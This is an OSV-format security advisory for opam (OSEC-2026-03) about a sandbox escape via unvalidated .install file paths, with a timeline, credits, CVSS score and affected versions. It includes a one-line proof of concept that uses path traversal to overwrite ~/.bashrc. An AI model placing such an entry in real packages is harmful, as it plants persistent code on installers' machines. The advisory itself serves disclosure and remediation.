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osec-2026-03
Vulnerability from osv_ocaml
Published
2026-04-15 22:00
Modified
2026-04-16 21:00
Summary
opam install sandbox escape
Details

Summary

.install files do not validate whether they are inside the package area, and so can bypass sandboxing.

Exploit

In a package.install file, this installs a file as `~/.bashrc:

bin: [
  "payload.sh" {"../../../.bashrc"}
]

Timeline

  • 2026-04-11: Anil forwarded the issue from Andrew Nesbitt to the OCaml security team
  • 2026-04-11: Kate developed a fix
  • 2026-04-15: opam 2.5.1 was released with the fix
Severity
5.7 (Medium)
CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:N
Credits
Andrew Nesbitt
Kate
Raja Boujbel
Hannes Mehnert
References
To clipboard 

{
  "affected": [
    {
      "ecosystem_specific": {
        "opam_constraint": "opam-devel {\u003c \"2.5.1\"}"
      },
      "package": {
        "ecosystem": "opam",
        "name": "opam-devel",
        "purl": "pkg:opam/opam-devel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.5.1"
            }
          ],
          "type": "ECOSYSTEM"
        },
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "d7283e3b5845447ee618794d87cfe224dd980c8f"
            }
          ],
          "repo": "https://github.com/ocaml/opam",
          "type": "GIT"
        },
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "c8fcf65779fe7048f9b5ef59886bfa9c5d102d84"
            }
          ],
          "repo": "https://github.com/ocaml/opam",
          "type": "GIT"
        }
      ],
      "versions": [
        "2.0~alpha5",
        "2.0.0~beta",
        "2.0.0~beta3",
        "2.0.0~beta3.1",
        "2.0.0~beta5",
        "2.0.0~rc",
        "2.0.0~rc2",
        "2.0.0~rc3",
        "2.0.0",
        "2.0.1",
        "2.0.2",
        "2.0.3",
        "2.0.4",
        "2.0.5",
        "2.0.6",
        "2.0.7",
        "2.0.8",
        "2.0.9",
        "2.0.10",
        "2.1.0~beta2",
        "2.1.0~beta4",
        "2.1.0~rc",
        "2.1.0~rc2",
        "2.1.0",
        "2.1.1",
        "2.1.2",
        "2.1.3",
        "2.1.4",
        "2.1.5",
        "2.1.6",
        "2.2.0~alpha",
        "2.2.0~alpha2",
        "2.2.0~alpha3",
        "2.2.0~beta1",
        "2.2.0~beta2",
        "2.2.0~beta3",
        "2.2.0~rc1",
        "2.2.0",
        "2.2.1",
        "2.3.0~alpha1",
        "2.3.0~beta1",
        "2.3.0~beta2",
        "2.3.0~rc1",
        "2.3.0",
        "2.4.0~alpha1",
        "2.4.0~alpha2",
        "2.4.0~beta1",
        "2.4.0~rc1",
        "2.4.0",
        "2.4.1",
        "2.5.0~alpha1",
        "2.5.0~beta1",
        "2.5.0~rc1",
        "2.5.0"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41082"
  ],
  "credits": [
    {
      "name": "Andrew Nesbitt",
      "type": "REPORTER"
    },
    {
      "name": "Kate",
      "type": "REMEDIATION_DEVELOPER"
    },
    {
      "name": "Raja Boujbel",
      "type": "REMEDIATION_REVIEWER"
    },
    {
      "name": "Hannes Mehnert",
      "type": "COORDINATOR"
    }
  ],
  "database_specific": {
    "cwe": [
      "CWE-693"
    ],
    "human_link": "https://github.com/ocaml/security-advisories/tree/main/advisories/2026/OSEC-2026-03.md",
    "osv": "https://github.com/ocaml/security-advisories/tree/generated-osv/2026/OSEC-2026-03.json"
  },
  "details": "## Summary\n\n`.install` files do not validate whether they are inside the package area, and so can bypass sandboxing.\n\n## Exploit\n\nIn a `package.install` file, this installs a file as ``~/.bashrc`:\n```\nbin: [\n  \"payload.sh\" {\"../../../.bashrc\"}\n]\n```\n\n## Timeline\n\n- 2026-04-11: Anil forwarded the issue from Andrew Nesbitt to the OCaml security team\n- 2026-04-11: Kate developed a fix\n- 2026-04-15: opam 2.5.1 was released with the fix",
  "id": "OSEC-2026-03",
  "modified": "2026-04-16T21:00:00Z",
  "published": "2026-04-15T22:00:00Z",
  "references": [
    {
      "type": "FIX",
      "url": "https://github.com/ocaml/opam/pull/6897"
    },
    {
      "type": "FIX",
      "url": "https://github.com/ocaml/opam/pull/6898"
    }
  ],
  "schema_version": "1.7.4",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "opam install sandbox escape"
}



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